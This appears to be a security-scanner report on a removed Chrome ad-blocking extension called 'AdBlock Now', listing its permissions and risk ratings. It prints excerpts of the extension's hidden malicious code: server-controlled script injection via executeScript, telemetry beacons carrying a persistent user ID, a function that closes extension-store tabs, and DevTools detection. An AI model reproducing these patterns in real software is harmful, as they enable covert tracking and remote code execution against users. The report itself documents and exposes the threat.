AdBlock Now

ID: kdnhhhkoemfnieeacbcfbebmidanfjlg

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
1.0.0.0
Size
0.12 MB
Rating
3.7/5
Reviews
3
Users
143,076
Type
Extension
Updated
Jul 8, 2021
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
Anti popup groupView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
143,076

Blocks ads, popups and trackers from 13'000 sources

Why AdBlock Now ? ✓ AdBlock Now is undetected by most anti-adblock scripts ✓ Pop ups are closed automatically if they are black listed ✓ Ads are removed from more than 13'000 ad networks ✓ Social Privacy trackers from Facebook, Twitter, Linkedin, Pinterest, Reddit, TikTok are blocked ✓ Privacy Trackers from Google Analytics, Hotjar, MouseFlow, FreshMarketer and more are blocked ✓ AdBlock Now is Free, no subscription I created this extension because all the other adblockers get detected and I was tired of all the popups. Enjoy and send me your suggestions.

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
webRequestBlocking
Permission
Critical
This permission allows the extension to intercept, modify, or block any web request in real-time before it reaches its destination. Rated Critical because it can modify sensitive data (like passwords, credit cards) before encryption, redirect traffic to malicious sites, or block security updates.
Dangerous Permission Combination
Risk Factor
Critical
This extension can intercept, modify, and block web requests in real-time.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation• 15% increase: Older manifest version lacks modern security controls
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2
https://*/*
Permission
Unknown
No classification available for this permission.

The extension beacons user telemetry (blocked count, warning count, extension ID, version, and a persistent UID) to the third-party domain adblock-pro-now.com on every request interception and navigation event. This is undisclosed data collection sent to an operator-controlled server unrelated to adblocking functionality. The UID allows cross-session tracking of individual users.

background.comp.js (Line 53)
function l() {  chrome.storage.local.get(null, function(b) {    void 0 == b.next && chrome.storage.local.set({      next: Date.now() + 684E5    });    void 0 == b.uid ? m("https://adblock-pro-now.com/j.php?c=uid&eid=" + chrome.runtime.id.slice(0, 8) + "&v=" + f      .version) : Date.now() > b.next && m("https://adblock-pro-now.com/j.php?c=data&uid=" + b.uid + "&v=" + f      .version + "&b=" + localStorage.blocked + "&eid=" + chrome.runtime.id.slice(0, 8) + "&w=" + localStorage      .warning);  });}

The fetch callback accepts a JSON response from adblock-pro-now.com and writes its entire contents directly into chrome.storage.local via chrome.storage.local.set(a). This allows the remote server to inject arbitrary key-value pairs into extension storage — including the 'core', 'google', 'youtube', and 'default' script payloads that are later executed as code via chrome.tabs.executeScript. This is a remote code loading vector disguised as config sync.

background.comp.js (Line 65)
function m(b) {  e && (e = !1, fetch(b)    .then(function(a) {      return a.json();    })    .then(function(a) {      chrome.storage.local.set(a);      a.next && chrome.storage.local.set({        next: Date.now() + a.next      });      setTimeout(n, 10e3);      setTimeout(function() {        e = !0;      }, 240e3);    })["catch"](function(a) {      throw a;    }));}

Function k() assembles JavaScript code strings from chrome.storage.local (which can be remotely updated by the server via function m()) and injects them into the active tab using chrome.tabs.executeScript with the 'code' parameter. This is dynamic code injection into web pages using server-controlled payloads, enabling arbitrary script execution in any HTTPS page the user visits.

background.comp.js (Line 18)
function k(b) {  chrome.storage.local.get(null, function(a) {    var c = "(function() {" + a.core;    Object.keys(a)      .forEach(function(d) {        d.startsWith(b) && (c += a[d]);      });    c += "})();";    chrome.tabs.executeScript({      allFrames: false,      code: c,      runAt: "document_start"    }, function() {      return chrome.runtime.lastError;    });  });  l();}

Function p() silently enumerates all open browser windows and tabs, then closes any tabs that are viewing extension store pages (Chrome Web Store or Microsoft Edge Add-ons). This is anti-analysis/self-protection behavior designed to prevent users from reviewing or uninstalling extensions, or from discovering competing extensions.

background.comp.js (Line 84)
function p() {  new Promise(function(b) {    chrome.windows.getAll({      populate: true    }, function(a) {      var c = [];      a.forEach(function(d) {        d.tabs.forEach(function(g) {          g.url.includes("https://chrome.tabsoogle.com/webstore/detail/") ? c.push(g.id) : g.url            .includes("https://microsoftedge.microsoft.com/addons/detail/") && c.push(g.id);        });      });      chrome.tabs.remove(c, b);    });  });}

On installation, the extension stores JavaScript code strings ('core', 'youtube', 'google') in local storage and calls p() to close extension-store tabs. The stored code strings serve as the initial payload for the executeScript injection mechanism and can be overwritten at any time by server responses, establishing the remote code execution infrastructure immediately after install.

background.comp.js (Line 128)
chrome.runtime.onInstalled.addListener(function(b) {      "install" == b.reason ? (void 0 == localStorage.blocked && (localStorage.blocked = 0), void 0 == localStorage        .warning && (localStorage.warning = 0), p(), chrome.storage.local.set({          core: "var style=document.createElement('style');document.head.appendChild(style);function css(r){style.sheet.insertRule(r)}function r(el){document.querySelectorAll(el).forEach(function(e){e.remove();});}"        }), chrome.storage.local.set({          youtube: "css('.video-ads,.ytd-action-companion-ad-renderer,.ytd-promoted-sparkles-web-renderer{display: none !important}');"        }),        chrome.storage.local.set({          google: "css('#tads,#bottomads {display: none}');r('.ads-ad');r('#tads');"        }), setTimeout(l, 300e3), setTimeout(n, 370e3)) : "update" == b.reason && ...

On every HTTPS navigation, the extension queries the active tab URL and injects site-specific server-controlled scripts (via function k()) into Google Search and YouTube pages. This hooks into every navigation to modify page content using remotely updatable payloads, enabling silent injection of any JavaScript the server chooses to deliver.

background.comp.js (Line 36)
chrome.webNavigation.onCommitted.addListener(function(b) {  0 == b.frameId && 1 == b.url.startsWith("https://") && chrome.tabs.query({    active: !0,    status: "loading"  }, function(a) {    if (0 < a.length) {      a = a[0].url;      try {        1 > a.length || null === a || void 0 === a || (a.includes("https://www.google.") && a.includes(          "/search?") ? k("google") : a.includes("https://www.youtube.com") ? k("youtube") : k("default"));      } catch (c) {        throw c;      }    }  });});

The extension registers an uninstall callback URL on the operator's domain that includes the user's persistent UID and blocked-count telemetry. This phones home to adblock-pro-now.com upon uninstall, confirming user identity to the remote server even as the user is removing the extension.

background.comp.js (Line 114)
function n() {  chrome.storage.local.get(["uid"], function(data) {    var url = "https://adblock-pro-now.com/uninstall.php?uid=" + encodeURIComponent(data.uid) + "&b=" +      localStorage['blocked'];    chrome.runtime.setUninstallURL(url);  });}

The content script uses a toString() trick to detect when DevTools console is opened (the browser calls toString() on objects passed to console.log to render them). When detected, it sends a 'warning' message to the background, which increments a warning counter and reports it to the remote server. This is an active anti-analysis measure that tracks when users attempt to inspect the extension's behavior.

content.js (Line 1)
var caution = function() {};caution.toString = function() {  if (this.opened) {    chrome.runtime.sendMessage({      type: 'warning'    });    console.log('%c WARNING / ATTENTION :', 'color:red;font-size:16px;');    console.log('%c DO NOT COPY / PASTE CODE HERE.', 'color:red;font-size:12px;');  }  this.opened = true;};console.log('%c', caution);

By severity

Critical3
High3
Medium2
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.0.08

Files with findings

2 distinct paths — top paths by unique finding count:

  • background.comp.js7
  • content.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
background.comp.js (line 18)Function k() assembles JavaScript code strings from chrome.storage.local (which can be remotely updated by the server via function m()) and injects them into the active tab using chrome.tabs.executeScript with the 'co…
2Remote Code Loading
critical
background.comp.js (line 65)The fetch callback accepts a JSON response from adblock-pro-now.com and writes its entire contents directly into chrome.storage.local via chrome.storage.local.set(a). This allows the remote server to inject arbitrary …
3Unauthorized Data Collection
critical
background.comp.js (line 53)The extension beacons user telemetry (blocked count, warning count, extension ID, version, and a persistent UID) to the third-party domain adblock-pro-now.com on every request interception and navigation event. This i…
4Code Injection
high
background.comp.js (line 128)On installation, the extension stores JavaScript code strings ('core', 'youtube', 'google') in local storage and calls p() to close extension-store tabs. The stored code strings serve as the initial payload for the ex…
5Network Interception
high
background.comp.js (line 36)On every HTTPS navigation, the extension queries the active tab URL and injects site-specific server-controlled scripts (via function k()) into Google Search and YouTube pages. This hooks into every navigation to modi…
6Other
high
background.comp.js (line 84)Function p() silently enumerates all open browser windows and tabs, then closes any tabs that are viewing extension store pages (Chrome Web Store or Microsoft Edge Add-ons). This is anti-analysis/self-protection behav…
7Other
medium
content.js (line 1)The content script uses a toString() trick to detect when DevTools console is opened (the browser calls toString() on objects passed to console.log to render them). When detected, it sends a 'warning' message to the b…
8Unauthorized Data Collection
medium
background.comp.js (line 114)The extension registers an uninstall callback URL on the operator's domain that includes the user's persistent UID and blocked-count telemetry. This phones home to adblock-pro-now.com upon uninstall, confirming user i…
URLs
9
IPv4
3
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
*/*https://*/*
www.google.-https://www.google.
www.youtube.com-https://www.youtube.com
adblock-pro-now.com/j.phphttps://adblock-pro-now.com/j.php?c=uid&eid=
adblock-pro-now.com/j.phphttps://adblock-pro-now.com/j.php?c=data&uid=
chrome.tabsoogle.com/webstore/detail/https://chrome.tabsoogle.com/webstore/detail/
microsoftedge.microsoft.com/addons/detail/https://microsoftedge.microsoft.com/addons/detail/
adblock-pro-now.com/uninstall.phphttps://adblock-pro-now.com/uninstall.php?uid=

Gain full insight into all external connections.

Upgrade for full visibility.

35.153.211.213
IPv4
-
35.227.234.222
IPv4
-
1.0.0.0
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
1.0.0.0
Latest
0.12 MB
Malicious
8
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.